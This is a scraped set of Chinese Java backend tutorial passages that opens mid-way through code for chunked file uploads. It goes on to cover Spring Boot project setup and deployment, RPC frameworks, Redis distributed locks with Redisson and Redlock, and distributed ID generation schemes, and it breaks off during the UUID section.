检查是否全部完成,如果数组里是否全部都是127(全部分片都成功上传) byte[] completeList = FileUtils.readFileToByteArray(confFile); isComplete = Byte.MAX_VALUE; for (int i = 0; i < completeList.length && isComplete == Byte.MAX_VALUE; i++) { //与运算, 如果有部分没有完成则 isComplete 不是 Byte.MAX_VALUE isComplete = (byte) (isComplete & completeList[i]); System.out.println("check part " + i + " complete?:" + completeList[i]); } catch (IOException e) { log.error(e.getMessage(), e); } finally { FileUtil.close(accessConfFile); boolean isOk = setUploadProgress2Redis(param, uploadDirPath, fileName, confFile, isComplete); return isOk; * 把上传进度信息存进redis private boolean setUploadProgress2Redis(FileUploadRequestDTO param, String uploadDirPath, String fileName, File confFile, byte isComplete) { RedisUtil redisUtil = SpringContextHolder.getBean(RedisUtil.class); if (isComplete == Byte.MAX_VALUE) { redisUtil.hset(FileConstant.FILE_UPLOAD_STATUS, param.getMd5(), "true"); redisUtil.del(FileConstant.FILE_MD5_KEY + param.getMd5()); confFile.delete(); return true; } else { if (!redisUtil.hHasKey(FileConstant.FILE_UPLOAD_STATUS, param.getMd5())) { redisUtil.hset(FileConstant.FILE_UPLOAD_STATUS, param.getMd5(), "false"); redisUtil.set(FileConstant.FILE_MD5_KEY + param.getMd5(), uploadDirPath + FileConstant.FILE_SEPARATORCHAR + fileName + ".conf"); return false; * 保存文件操作 public FileUploadDTO saveAndFileUploadDTO(String fileName, File tmpFile) { FileUploadDTO fileUploadDTO = null; try { fileUploadDTO = renameFile(tmpFile, fileName); if (fileUploadDTO.isUploadComplete()) { System.out .println("upload complete !!" + fileUploadDTO.isUploadComplete() + " name=" + fileName); //TODO 保存文件信息到数据库 } catch (Exception e) { log.error(e.getMessage(), e); } finally { return fileUploadDTO; * 文件重命名 * @param toBeRenamed 将要修改名字的文件 * @param toFileNewName 新的名字 private FileUploadDTO renameFile(File toBeRenamed, String toFileNewName) { //检查要重命名的文件是否存在,是否是文件 FileUploadDTO fileUploadDTO = new FileUploadDTO(); if (!toBeRenamed.exists() || toBeRenamed.isDirectory()) { log.info("File does not exist: {}", toBeRenamed.getName()); fileUploadDTO.setUploadComplete(false); return fileUploadDTO; String ext = FileUtil.getExtension(toFileNewName); String p = toBeRenamed.getParent(); String filePath = p + FileConstant.FILE_SEPARATORCHAR + toFileNewName; File newFile = new File(filePath); //修改文件名 boolean uploadFlag = toBeRenamed.renameTo(newFile); fileUploadDTO.setMtime(DateUtil.getCurrentTimeStamp()); fileUploadDTO.setUploadComplete(uploadFlag); fileUploadDTO.setPath(filePath); fileUploadDTO.setSize(newFile.length()); fileUploadDTO.setFileExt(ext); fileUploadDTO.setFileId(toFileNewName); return fileUploadDTO; }总结在实现分片上传的过程,需要前端和后端配合,比如前后端上传块号的文件大小,前后端必须得要一致,否则上传就会有问题。其次文件相关操作正常都是要搭建一个文件服务器的,比如使用 fastdfs、hdfs 等。本示例代码在电脑配置为 4 核内存 8G 情况下,上传 24G 大小的文件,上传时间需要 30 多分钟,主要时间耗费在前端的 md5 值计算,后端写入的速度还是比较快如果项目组觉得自建文件服务器太花费时间,且项目的需求仅仅只是上传下载,那么推荐使用阿里的 oss 服务器,其介绍可以查看官网https://help.aliyun.com/product/31815.htmlopen in new window阿里的 oss 它本质是一个对象存储服务器,而非文件服务器,因此如果有涉及到大量删除或者修改文件的需求,oss 可能就不是一个好的选择
Spring 官方提供了 Spring Initializr 的方式来创建 Spring Boot 项目。网址https://start.spring.io/open in new window打开后的界面如下可以将 Spring Initializr 看作是 Spring Boot 项目的初始化向导,它可以帮助开发人员在一分钟之内创建一个 Spring Boot 骨架,非常的傻瓜式。来解释一下 Spring Initializr 初始化界面中的关键选项。1)Project:项目的构建方式,可以选择 Mavenopen in new window(安装方式可以戳链接) 和 Gradle(构建脚本基于 Groovy 或者 Kotlin 等语言来编写,而不是传统的 XML)。编程喵默认采用的 Maven。2)Language:项目的开发语言,可以选择 Java、Kotlin(JetBrains开发的可以在 JVM 上运行的编程语言)、Groovy(可以作为 Java 平台的脚本语言来使用)。默认 Java 即可。3)Spring Boot:项目使用的 Spring Boot 版本。默认版本即可,比较稳定。4)Project Metada:项目的基础设置,包括包名、打包方式、JDK 版本等。Group:项目所属组织的标识符,比如说 top.codingmore;Artifact:项目的标识符,比如说 coding-more;Name:默认保持和 Artifact 一致即可;Description: 项目的描述信息,比如说《编程喵实战项目(Spring Boot+Vue 前后端分离项目)》;Package name:项目包名,根据Group和Artifact自动生成即可。Packaging: 项目打包方式,可以选择 Jar 和 War(SSM 时代,JavaWeb 项目通常会打成 War 包,放在 Tomcat 下),Spring Boot 时代默认 Jar 包即可,因为 Spring Boot 可以内置 Tomcat、Jetty、Undertow 等服务容器了。Java:项目选用的 JDK 版本,选择 11 或者 8 就行(编程喵采用的是最最最最稳定的 Java8)。5)Dependencies:项目所需要的依赖和 starter。如果不选择的话,默认只有核心模块 spring-boot-starter 和测试模块 spring-boot-starter-test。好,接下来我们使用 Spring Initializr 初始化一个 Web 项目,Project 选择 Maven,Spring Boot 选择 2.6.1,Java 选择 JDK 8,Dependencies 选择「Build web, including RESTful, applications using Spring MVC. Uses Apache Tomcat as the default embedded container.」这预示着我们会采用 SpringMVC 并且使用 Tomcat 作为默认服务器来开发一个 Web 项目。然后点击底部的「generate」按钮,就会生成一个 Spring Boot 初始化项目的压缩包。如果使用的是 Intellij IDEA 旗舰版,可以直接通过 Intellij IDEA 新建 Spring Boot 项目Spring Boot 项目结构分析解开压缩包,并导入到 Intellij IDEA 中,可以看到 Spring Boot 项目的目录结构。可以使用 tree -CfL 3 命令以树状图列出目录的内容src/main/java 为项目的开发目录,业务代码在这里写。src/main/resources 为配置文件目录,静态文件、模板文件和配置文件都放在这里。子目录 static 用于存放静态资源文件,比如说 JS、CSS 图片等。子目录 templates 用于存放模板文件,比如说 thymeleaf 和 freemarker 文件。src/test/java 为测试类文件目录。pom.xml 用来管理项目的依赖和构建。如何启动/部署 Spring Boot 项目第一次启动,我个人习惯在 main 类中右键,在弹出的右键菜单这种选择「run ... main()」启动经过 2.5s 左右的 build 后,项目启动成功了,可以在日志中看到 Web 项目是以 Tomcat 为容器的,默认端口号为 8080,根路径为空这要比传统的 Web 项目省事省心省力,不需要打成 war 包,不需要把 war 包放到 Tomcat 的 webapp 目录下再启动。那如果想把项目打成 jar 包放到服务器上,以 java -jar xxx.jar 形式运行的话,该怎么做呢?打开 Terminal 终端, 执行命令 mvn clean package,等待打包结果我们的项目在初始化的时候选择的是 Maven 构建方式,所以 pom.xml 文件中会引入 spring-boot-maven-plugin 插件<build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build>因此我们就可以利用 Maven 命令来完成项目打包,打包完成后,进入 target 目录下,就可以看到打包好的 jar 包了利用终端工具 Tabbyopen in new window,将 jar 包上传到服务器执行 java -jar tobebetterjavaer-0.0.1-SNAPSHOT.jar 命令。what??????竟然没有安装 JDK。好吧,为了带白票阿里云服务器的小伙伴一起学习 Linux,我下了血本自己买了一台零添加的服务器。PS:需要在 centos 环境下安装 JDK 的小伙伴可以看这篇。https://segmentfault.com/a/1190000015389941open in new window安装好 JDK 后,再次执行命令就可以看到 Spring Boot 项目可以正常在服务器上跑起来了第一个Web项目项目既然启动成功了,我们在浏览器里访问 8080 端口测试下吧咦,竟然 Whitelabel 了,这个 404 页面是 Spring Boot 默认的错误页面,表示我们的请求在 Web 服务中不存在。那该怎么办呢?我们来增加一个 Controller 文件,用来处理 Web 请求,内容如下。@Controller public class HelloController { @GetMapping("/hello") @ResponseBody public String hello() { return "hello, springboot"; }这段代码的业务逻辑非常简单,用户发送 hello 请求,服务器端响应一个“hello, springboot”回去OK,现在可以访问到了。也就表明我们的第一个 Spring Boot 项目开发完成了。
何为 RPC?RPC(Remote Procedure Call) 即远程过程调用,通过名字我们就能看出 RPC 关注的是远程调用而非本地调用。为什么要 RPC ? 因为,两个不同的服务器上的服务提供的方法不在一个内存空间,所以,需要通过网络编程才能传递方法调用所需要的参数。并且,方法调用的结果也需要通过网络编程来接收。但是,如果我们自己手动网络编程来实现这个调用过程的话工作量是非常大的,因为,我们需要考虑底层传输方式(TCP还是UDP)、序列化方式等等方面。RPC 能帮助我们做什么呢? 简单来说,通过 RPC 可以帮助我们调用远程计算机上某个服务的方法,这个过程就像调用本地方法一样简单。并且!我们不需要了解底层网络编程的具体细节。举个例子:两个不同的服务 A、B 部署在两台不同的机器上,服务 A 如果想要调用服务 B 中的某个方法的话就可以通过 RPC 来做。一言蔽之:RPC 的出现就是为了让你调用远程方法像调用本地方法一样简单RPC 的原理是什么?为了能够帮助小伙伴们理解 RPC 原理,我们可以将整个 RPC的 核心功能看作是下面👇 6 个部分实现的:客户端(服务消费端) :调用远程方法的一端。客户端 Stub(桩) : 这其实就是一代理类。代理类主要做的事情很简单,就是把你调用方法、类、方法参数等信息传递到服务端。网络传输 : 网络传输就是你要把你调用的方法的信息比如说参数啊这些东西传输到服务端,然后服务端执行完之后再把返回结果通过网络传输给你传输回来。网络传输的实现方式有很多种比如最近基本的 Socket或者性能以及封装更加优秀的 Netty(推荐)服务端 Stub(桩) :这个桩就不是代理类了。我觉得理解为桩实际不太好,大家注意一下就好。这里的服务端 Stub 实际指的就是接收到客户端执行方法的请求后,去指定对应的方法然后返回结果给客户端的类服务端(服务提供端) :提供远程方法的一端具体原理图如下,后面我会串起来将整个RPC的过程给大家说一下服务消费端(client)以本地调用的方式调用远程服务;客户端 Stub(client stub) 接收到调用后负责将方法、参数等组装成能够进行网络传输的消息体(序列化):RpcRequest;客户端 Stub(client stub) 找到远程服务的地址,并将消息发送到服务提供端;服务端 Stub(桩)收到消息将消息反序列化为Java对象: RpcRequest;服务端 Stub(桩)根据RpcRequest中的类、方法、方法参数等信息调用本地的方法;服务端 Stub(桩)得到方法执行结果并将组装成能够进行网络传输的消息体:RpcResponse(序列化)发送至消费方;客户端 Stub(client stub)接收到消息并将消息反序列化为Java对象:RpcResponse ,这样也就得到了最终结果。over!相信小伙伴们看完上面的讲解之后,已经了解了 RPC 的原理。虽然篇幅不多,但是基本把 RPC 框架的核心原理讲清楚了!另外,对于上面的技术细节,我会在后面的章节介绍到。最后,对于 RPC 的原理,希望小伙伴不单单要理解,还要能够自己画出来并且能够给别人讲出来。因为,在面试中这个问题在面试官问到 RPC 相关内容的时候基本都会碰到。有哪些常见的 RPC 框架?我们这里说的 RPC 框架指的是可以让客户端直接调用服务端方法,就像调用本地方法一样简单的框架,比如我下面介绍的 Dubbo、Motan、gRPC这些。 如果需要和 HTTP 协议打交道,解析和封装 HTTP 请求和响应。这类框架并不能算是“RPC 框架”,比如Feign;DubboApache Dubbo 是一款微服务框架,为大规模微服务实践提供高性能 RPC 通信、流量治理、可观测性等解决方案, 涵盖 Java、Golang 等多种语言 SDK 实现。Dubbo 提供了从服务定义、服务发现、服务通信到流量管控等几乎所有的服务治理能力,支持 Triple 协议(基于 HTTP/2 之上定义的下一代 RPC 通信协议)、应用级服务发现、Dubbo Mesh (Dubbo3 赋予了很多云原生友好的新特性)等特性;Dubbo 是由阿里开源,后来加入了 Apache 。正式由于 Dubbo 的出现,才使得越来越多的公司开始使用以及接受分布式架构。Dubbo 算的是比较优秀的国产开源项目了,它的源码也是非常值得学习和阅读的!Github :https://github.com/apache/incubator-dubboopen in new window官网:https://dubbo.apache.org/zh/MotanMotan 是新浪微博开源的一款 RPC 框架,据说在新浪微博正支撑着千亿次调用。不过笔者倒是很少看到有公司使用,而且网上的资料也比较少。很多人喜欢拿 Motan 和 Dubbo 作比较,毕竟都是国内大公司开源的。笔者在查阅了很多资料,以及简单查看了其源码之后发现:Motan 更像是一个精简版的 Dubbo,可能是借鉴了 Dubbo 的思想,Motan 的设计更加精简,功能更加纯粹。不过,我不推荐你在实际项目中使用 Motan。如果你要是公司实际使用的话,还是推荐 Dubbo ,其社区活跃度以及生态都要好很多从 Motan 看 RPC 框架设计:http://kriszhang.com/motan-rpc-impl/open in new windowMotan 中文文档:https://github.com/weibocom/motan/wiki/zh_overviewopen in new windowgRPCgRPC 是 Google 开源的一个高性能、通用的开源 RPC 框架。其由主要面向移动应用开发并基于 HTTP/2 协议标准而设计(支持双向流、消息头压缩等功能,更加节省带宽),基于 ProtoBuf 序列化协议开发,并且支持众多开发语言。何谓 ProtoBuf? ProtoBuf( Protocol Buffer)open in new window 是一种更加灵活、高效的数据格式,可用于通讯协议、数据存储等领域,基本支持所有主流编程语言且与平台无关。不过,通过 ProtoBuf 定义接口和数据类型还挺繁琐的,这是一个小问题。不得不说,gRPC 的通信层的设计还是非常优秀的,Dubbo-go 3.0open in new window 的通信层改进主要借鉴了 gRPC。不过,gRPC 的设计导致其几乎没有服务治理能力。如果你想要解决这个问题的话,就需要依赖其他组件比如腾讯的 PolarisMesh(北极星)了Github:https://github.com/grpc/grpcopen in new window官网:https://grpc.io/open in new windowThriftApache Thrift 是 Facebook 开源的跨语言的 RPC 通信框架,目前已经捐献给 Apache 基金会管理,由于其跨语言特性和出色的性能,在很多互联网公司得到应用,有能力的公司甚至会基于 thrift 研发一套分布式服务框架,增加诸如服务注册、服务发现等功能。Thrift支持多种不同的编程语言,包括C++、Java、Python、PHP、Ruby等(相比于 gRPC 支持的语言更多 )。官网:https://thrift.apache.org/open in new windowThrift 简单介绍:https://www.jianshu.com/p/8f25d057a5a9open in new window总结gRPC 和 Thrift 虽然支持跨语言的 RPC 调用,但是它们只提供了最基本的 RPC 框架功能,缺乏一系列配套的服务化组件和服务治理功能的支撑。Dubbo 不论是从功能完善程度、生态系统还是社区活跃度来说都是最优秀的。而且,Dubbo在国内有很多成功的案例比如当当网、滴滴等等,是一款经得起生产考验的成熟稳定的 RPC 框架。最重要的是你还能找到非常多的 Dubbo 参考资料,学习成本相对也较低。下图展示了 Dubbo 的生态系统Dubbo 也是 Spring Cloud Alibaba 里面的一个组件但是,Dubbo 和 Motan 主要是给 Java 语言使用。虽然,Dubbo 和 Motan 目前也能兼容部分语言,但是不太推荐。如果需要跨多种语言调用的话,可以考虑使用 gRPC。综上,如果是 Java 后端技术栈,并且你在纠结选择哪一种 RPC 框架的话,我推荐你考虑一下 Dubbo;
什么是分布式锁?对于单机多线程来说,在 Java 中,我们通常使用 ReetrantLock 类、synchronized 关键字这类 JDK 自带的 本地锁 来控制一个 JVM 进程内的多个线程对本地共享资源的访问。下面是我对本地锁画的一张示意图从图中可以看出,这些线程访问共享资源是互斥的,同一时刻只有一个线程可以获取到本地锁访问共享资源分布式系统下,不同的服务/客户端通常运行在独立的 JVM 进程上。如果多个 JVM 进程共享同一份资源的话,使用本地锁就没办法实现资源的互斥访问了。于是,分布式锁 就诞生了举个例子:系统的订单服务一共部署了 3 份,都对外提供服务。用户下订单之前需要检查库存,为了防止超卖,这里需要加锁以实现对检查库存操作的同步访问。由于订单服务位于不同的 JVM 进程中,本地锁在这种情况下就没办法正常工作了。我们需要用到分布式锁,这样的话,即使多个线程不在同一个 JVM 进程中也能获取到同一把锁,进而实现共享资源的互斥访问下面是我对分布式锁画的一张示意图从图中可以看出,这些独立的进程中的线程访问共享资源是互斥的,同一时刻只有一个线程可以获取到分布式锁访问共享资源一个最基本的分布式锁需要满足互斥 :任意一个时刻,锁只能被一个线程持有高可用 :锁服务是高可用的。并且,即使客户端的释放锁的代码逻辑出现问题,锁最终一定还是会被释放,不会影响其他线程对共享资源的访问。通常情况下,我们一般会选择基于 Redis 或者 ZooKeeper 实现分布式锁,Redis 用的要更多一点,我这里也以 Redis 为例介绍分布式锁的实现。基于 Redis 实现分布式锁如何基于 Redis 实现一个最简易的分布式锁?不论是实现锁还是分布式锁,核心都在于“互斥”。在 Redis 中, SETNX 命令是可以帮助我们实现互斥。SETNX 即 SET if Not eXists (对应 Java 中的 setIfAbsent 方法),如果 key 不存在的话,才会设置 key 的值。如果 key 已经存在, SETNX 啥也不做> SETNX lockKey uniqueValue (integer) 1 > SETNX lockKey uniqueValue (integer) 0释放锁的话,直接通过 DEL 命令删除对应的 key 即可> DEL lockKey (integer) 1为了误删到其他的锁,这里我们建议使用 Lua 脚本通过 key 对应的 value(唯一值)来判断选用 Lua 脚本是为了保证解锁操作的原子性。因为 Redis 在执行 Lua 脚本时,可以以原子性的方式执行,从而保证了锁释放操作的原子性。// 释放锁时,先比较锁对应的 value 值是否相等,避免锁的误释放 if redis.call("get",KEYS[1]) == ARGV[1] then return redis.call("del",KEYS[1]) return 0 end这是一种最简易的 Redis 分布式锁实现,实现方式比较简单,性能也很高效。不过,这种方式实现分布式锁存在一些问题。就比如应用程序遇到一些问题比如释放锁的逻辑突然挂掉,可能会导致锁无法被释放,进而造成共享资源无法再被其他线程/进程访问。为什么要给锁设置一个过期时间?为了避免锁无法被释放,我们可以想到的一个解决办法就是:给这个 key(也就是锁) 设置一个过期时间。127.0.0.1:6379> SET lockKey uniqueValue EX 3 NX OK lockKey :加锁的锁名;uniqueValue :能够唯一标示锁的随机字符串;NX :只有当 lockKey 对应的 key 值不存在的时候才能 SET 成功;EX :过期时间设置(秒为单位)EX 3 标示这个锁有一个 3 秒的自动过期时间。与 EX 对应的是 PX(毫秒为单位),这两个都是过期时间设置。一定要保证设置指定 key 的值和过期时间是一个原子操作!!! 不然的话,依然可能会出现锁无法被释放的问题。这样确实可以解决问题,不过,这种解决办法同样存在漏洞:如果操作共享资源的时间大于过期时间,就会出现锁提前过期的问题,进而导致分布式锁直接失效。如果锁的超时时间设置过长,又会影响到性能。你或许在想: 如果操作共享资源的操作还未完成,锁过期时间能够自己续期就好了!如何实现锁的优雅续期?对于 Java 开发的小伙伴来说,已经有了现成的解决方案:Redissonopen in new window 。其他语言的解决方案,可以在 Redis 官方文档中找到,地址:https://redis.io/topics/distlock Redisson 是一个开源的 Java 语言 Redis 客户端,提供了很多开箱即用的功能,不仅仅包括多种分布式锁的实现。并且,Redisson 还支持 Redis 单机、Redis Sentinel 、Redis Cluster 等多种部署架构。Redisson 中的分布式锁自带自动续期机制,使用起来非常简单,原理也比较简单,其提供了一个专门用来监控和续期锁的 Watch Dog( 看门狗),如果操作共享资源的线程还未执行完成的话,Watch Dog 会不断地延长锁的过期时间,进而保证锁不会因为超时而被释放看门狗名字的由来于 getLockWatchdogTimeou() 方法,这个方法返回的是看门狗给锁续期的过期时间,默认为 30 秒(redisson-3.17.6open in new window)//默认 30秒,支持修改 private long lockWatchdogTimeout = 30 * 1000; public Config setLockWatchdogTimeout(long lockWatchdogTimeout) { this.lockWatchdogTimeout = lockWatchdogTimeout; return this; public long getLockWatchdogTimeout() { return lockWatchdogTimeout; }renewExpiration() 方法包含了看门狗的主要逻辑private void renewExpiration() { //...... Timeout task = commandExecutor.getConnectionManager().newTimeout(new TimerTask() { @Override public void run(Timeout timeout) throws Exception { //...... // 异步续期,基于 Lua 脚本 CompletionStage<Boolean> future = renewExpirationAsync(threadId); future.whenComplete((res, e) -> { if (e != null) { // 无法续期 log.error("Can't update lock " + getRawName() + " expiration", e); EXPIRATION_RENEWAL_MAP.remove(getEntryName()); return; if (res) { // 递归调用实现续期 renewExpiration(); } else { // 取消续期 cancelExpirationRenewal(null); // 延迟 internalLockLeaseTime/3(默认 10s,也就是 30/3) 再调用 }, internalLockLeaseTime / 3, TimeUnit.MILLISECONDS); ee.setTimeout(task); }默认情况下,每过 10 秒,看门狗就会执行续期操作,将锁的超时时间设置为 30 秒。看门狗续期前也会先判断是否需要执行续期操作,需要才会执行续期,否则取消续期操作。Watch Dog 通过调用 renewExpirationAsync() 方法实现锁的异步续期protected CompletionStage<Boolean> renewExpirationAsync(long threadId) { return evalWriteAsync(getRawName(), LongCodec.INSTANCE, RedisCommands.EVAL_BOOLEAN, // 判断是否为持锁线程,如果是就执行续期操作,就锁的过期时间设置为 30s(默认) "if (redis.call('hexists', KEYS[1], ARGV[2]) == 1) then " + "redis.call('pexpire', KEYS[1], ARGV[1]); " + "return 1; " + "end; " + "return 0;", Collections.singletonList(getRawName()), internalLockLeaseTime, getLockName(threadId)); }可以看出, renewExpirationAsync 方法其实是调用 Lua 脚本实现的续期,这样做主要是为了保证续期操作的原子性。我这里以 Redisson 的分布式可重入锁 RLock 为例来说明如何使用 Redisson 实现分布式锁// 1.获取指定的分布式锁对象 RLock lock = redisson.getLock("lock"); // 2.拿锁且不设置锁超时时间,具备 Watch Dog 自动续期机制 lock.lock(); // 3.执行业务 // 4.释放锁 lock.unlock();只有未指定锁超时时间,才会使用到 Watch Dog 自动续期机制// 手动给锁设置过期时间,不具备 Watch Dog 自动续期机制 lock.lock(10, TimeUnit.SECONDS)如果使用 Redis 来实现分布式锁的话,还是比较推荐直接基于 Redisson 来做的Redis 如何解决集群情况下分布式锁的可靠性?为了避免单点故障,生产环境下的 Redis 服务通常是集群化部署的。Redis 集群下,上面介绍到的分布式锁的实现会存在一些问题。由于 Redis 集群数据同步到各个节点时是异步的,如果在 Redis 主节点获取到锁后,在没有同步到其他节点时,Redis 主节点宕机了,此时新的 Redis 主节点依然可以获取锁,所以多个应用服务就可以同时获取到锁。针对这个问题,Redis 之父 antirez 设计了 Redlock 算法open in new window 来解决。Redlock 算法的思想是让客户端向 Redis 集群中的多个独立的 Redis 实例依次请求申请加锁,如果客户端能够和半数以上的实例成功地完成加锁操作,那么我们就认为,客户端成功地获得分布式锁,否则加锁失败。即使部分 Redis 节点出现问题,只要保证 Redis 集群中有半数以上的 Redis 节点可用,分布式锁服务就是正常的。Redlock 是直接操作 Redis 节点的,并不是通过 Redis 集群操作的,这样才可以避免 Redis 集群主从切换导致的锁丢失问题。Redlock 实现比较复杂,性能比较差,发生时钟变迁的情况下还存在安全性隐患。《数据密集型应用系统设计》一书的作者 Martin Kleppmann 曾经专门发文(How to do distributed locking - Martin Kleppmann - 2016open in new window)怼过 Redlock,他认为这是一个很差的分布式锁实现。感兴趣的朋友可以看看Redis 锁从面试连环炮聊到神仙打架open in new window这篇文章,有详细介绍到 antirez 和 Martin Kleppmann 关于 Redlock 的激烈辩论实际项目中不建议使用 Redlock 算法,成本和收益不成正比如果不是非要实现绝对可靠的分布式锁的话,其实单机版 Redis 就完全够了,实现简单,性能也非常高。如果你必须要实现一个绝对可靠的分布式锁的话,可以基于 Zookeeper 来做,只是性能会差一些;
分布式 ID什么是 ID?日常开发中,我们需要对系统中的各种数据使用 ID 唯一表示,比如用户 ID 对应且仅对应一个人,商品 ID 对应且仅对应一件商品,订单 ID 对应且仅对应一个订单。我们现实生活中也有各种 ID,比如身份证 ID 对应且仅对应一个人、地址 ID 对应且仅对应简单来说,ID 就是数据的唯一标识什么是分布式 ID?分布式 ID 是分布式系统下的 ID。分布式 ID 不存在与现实生活中,属于计算机系统中的一个概念。我简单举一个分库分表的例子。我司的一个项目,使用的是单机 MySQL 。但是,没想到的是,项目上线一个月之后,随着使用人数越来越多,整个系统的数据量将越来越大。单机 MySQL 已经没办法支撑了,需要进行分库分表(推荐 Sharding-JDBC)。在分库之后, 数据遍布在不同服务器上的数据库,数据库的自增主键已经没办法满足生成的主键唯一了。我们如何为不同的数据节点生成全局唯一主键呢?这个时候就需要生成分布式 ID了分布式 ID 需要满足哪些要求?分布式 ID 作为分布式系统中必不可少的一环,很多地方都要用到分布式 ID。一个最基本的分布式 ID 需要满足下面这些要求:全局唯一 :ID 的全局唯一性肯定是首先要满足的!高性能 : 分布式 ID 的生成速度要快,对本地资源消耗要小。高可用 :生成分布式 ID 的服务要保证可用性无限接近于 100%。方便易用 :拿来即用,使用方便,快速接入!除了这些之外,一个比较好的分布式 ID 还应保证:安全 :ID 中不包含敏感信息。有序递增 :如果要把 ID 存放在数据库的话,ID 的有序性可以提升数据库写入速度。并且,很多时候 ,我们还很有可能会直接通过 ID 来进行排序。有具体的业务含义 :生成的 ID 如果能有具体的业务含义,可以让定位问题以及开发更透明化(通过 ID 就能确定是哪个业务)。独立部署 :也就是分布式系统单独有一个发号器服务,专门用来生成分布式 ID。这样就生成 ID 的服务可以和业务相关的服务解耦。不过,这样同样带来了网络调用消耗增加的问题。总的来说,如果需要用到分布式 ID 的场景比较多的话,独立部署的发号器服务还是很有必要的分布式 ID 常见解决方案数据库数据库主键自增这种方式就比较简单直白了,就是通过关系型数据库的自增主键产生来唯一的 ID。以 MySQL 举例,我们通过下面的方式即可1.创建一个数据库表CREATE TABLE `sequence_id` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `stub` char(10) NOT NULL DEFAULT '', PRIMARY KEY (`id`), UNIQUE KEY `stub` (`stub`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;stub 字段无意义,只是为了占位,便于我们插入或者修改数据。并且,给 stub 字段创建了唯一索引,保证其唯一性2.通过 replace into 来插入数据BEGIN; REPLACE INTO sequence_id (stub) VALUES ('stub'); SELECT LAST_INSERT_ID(); COMMIT;插入数据这里,我们没有使用 insert into 而是使用 replace into 来插入数据,具体步骤是这样的:1)第一步: 尝试把数据插入到表中。2)第二步: 如果主键或唯一索引字段出现重复数据错误而插入失败时,先从表中删除含有重复关键字值的冲突行,然后再次尝试把数据插入到表中。这种方式的优缺点也比较明显:优点 :实现起来比较简单、ID 有序递增、存储消耗空间小缺点 : 支持的并发量不大、存在数据库单点问题(可以使用数据库集群解决,不过增加了复杂度)、ID 没有具体业务含义、安全问题(比如根据订单 ID 的递增规律就能推算出每天的订单量,商业机密啊! )、每次获取 ID 都要访问一次数据库(增加了对数据库的压力,获取速度也慢)数据库号段模式数据库主键自增这种模式,每次获取 ID 都要访问一次数据库,ID 需求比较大的时候,肯定是不行的。如果我们可以批量获取,然后存在在内存里面,需要用到的时候,直接从内存里面拿就舒服了!这也就是我们说的 基于数据库的号段模式来生成分布式 ID。数据库的号段模式也是目前比较主流的一种分布式 ID 生成方式。像滴滴开源的Tinyidopen in new window 就是基于这种方式来做的。不过,TinyId 使用了双号段缓存、增加多 db 支持等方式来进一步优化。以 MySQL 举例,我们通过下面的方式即可1.创建一个数据库表CREATE TABLE `sequence_id_generator` ( `id` int(10) NOT NULL, `current_max_id` bigint(20) NOT NULL COMMENT '当前最大id', `step` int(10) NOT NULL COMMENT '号段的长度', `version` int(20) NOT NULL COMMENT '版本号', `biz_type` int(20) NOT NULL COMMENT '业务类型', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;current_max_id 字段和step字段主要用于获取批量 ID,获取的批量 id 为: current_max_id ~ current_max_id+stepversion 字段主要用于解决并发问题(乐观锁),biz_type 主要用于表示业务类型。2.先插入一行数据INSERT INTO `sequence_id_generator` (`id`, `current_max_id`, `step`, `version`, `biz_type`) VALUES (1, 0, 100, 0, 101);3.通过 SELECT 获取指定业务下的批量唯一 IDSELECT `current_max_id`, `step`,`version` FROM `sequence_id_generator` where `biz_type` = 101结果id current_max_id step version biz_type 1 0 100 0 1014.不够用的话,更新之后重新 SELECT 即可UPDATE sequence_id_generator SET current_max_id = 0+100, version=version+1 WHERE version = 0 AND `biz_type` = 101 SELECT `current_max_id`, `step`,`version` FROM `sequence_id_generator` where `biz_type` = 101结果id current_max_id step version biz_type 1 100 100 1 101相比于数据库主键自增的方式,数据库的号段模式对于数据库的访问次数更少,数据库压力更小。另外,为了避免单点问题,你可以从使用主从模式来提高可用性数据库号段模式的优缺点优点 :ID 有序递增、存储消耗空间小缺点 :存在数据库单点问题(可以使用数据库集群解决,不过增加了复杂度)、ID 没有具体业务含义、安全问题(比如根据订单 ID 的递增规律就能推算出每天的订单量,商业机密啊! )NoSQL一般情况下,NoSQL 方案使用 Redis 多一些。我们通过 Redis 的 incr 命令即可实现对 id 原子顺序递增127.0.0.1:6379> set sequence_id_biz_type 1 127.0.0.1:6379> incr sequence_id_biz_type (integer) 2 127.0.0.1:6379> get sequence_id_biz_type "2"为了提高可用性和并发,我们可以使用 Redis Cluster。Redis Cluster 是 Redis 官方提供的 Redis 集群解决方案(3.0+版本)。除了 Redis Cluster 之外,你也可以使用开源的 Redis 集群方案Codisopen in new window (大规模集群比如上百个节点的时候比较推荐)。除了高可用和并发之外,我们知道 Redis 基于内存,我们需要持久化数据,避免重启机器或者机器故障后数据丢失。Redis 支持两种不同的持久化方式:快照(snapshotting,RDB)、只追加文件(append-only file, AOF)。 并且,Redis 4.0 开始支持 RDB 和 AOF 的混合持久化(默认关闭,可以通过配置项 aof-use-rdb-preamble 开启)。关于 Redis 持久化,我这里就不过多介绍。不了解这部分内容的小伙伴,可以看看 JavaGuide 对于 Redis 知识点的总结open in new window。Redis 方案的优缺点:优点 : 性能不错并且生成的 ID 是有序递增的缺点 : 和数据库主键自增方案的缺点类似除了 Redis 之外,MongoDB ObjectId 经常也会被拿来当做分布式 ID 的解决方案MongoDB ObjectId 一共需要 12 个字节存储:0~3:时间戳3~6: 代表机器 ID7~8:机器进程 ID9~11 :自增值MongoDB 方案的优缺点:优点 : 性能不错并且生成的 ID 是有序递增的缺点 : 需要解决重复 ID 问题(当机器时间不对的情况下,可能导致会产生重复 ID) 、有安全性问题(ID 生成有规律性)算法UUIDUUID 是 Universally Unique Identifier(通用唯一标识符) 的缩写。UUID 包含 32 个 16 进制数字(8-4-4-4-12)。JDK 就提供了现成的生成 UUID 的方法,一行代码就行了。//输出示例:cb4a9ede-fa5e-4585-b9bb-d60bce986eaa UUID.randomUUID()RFC 4122open in new window 中关于 UUID 的示例是这样我们这里重点关注一下这个 Version(版本),不同的版本对应的 UUID 的生成规则是不同的5 种不同的 Version(版本)值分别对应的含义(参考维基百科对于 UUID 的介绍open in new window)版本 1 : UUID 是根据时间和节点 ID(通常是 MAC 地址)生成;版本 2 : UUID 是根据标识符(通常是组或用户 ID)、时间和节点 ID 生成;版本 3、版本 5 : 版本 5 - 确定性 UUID 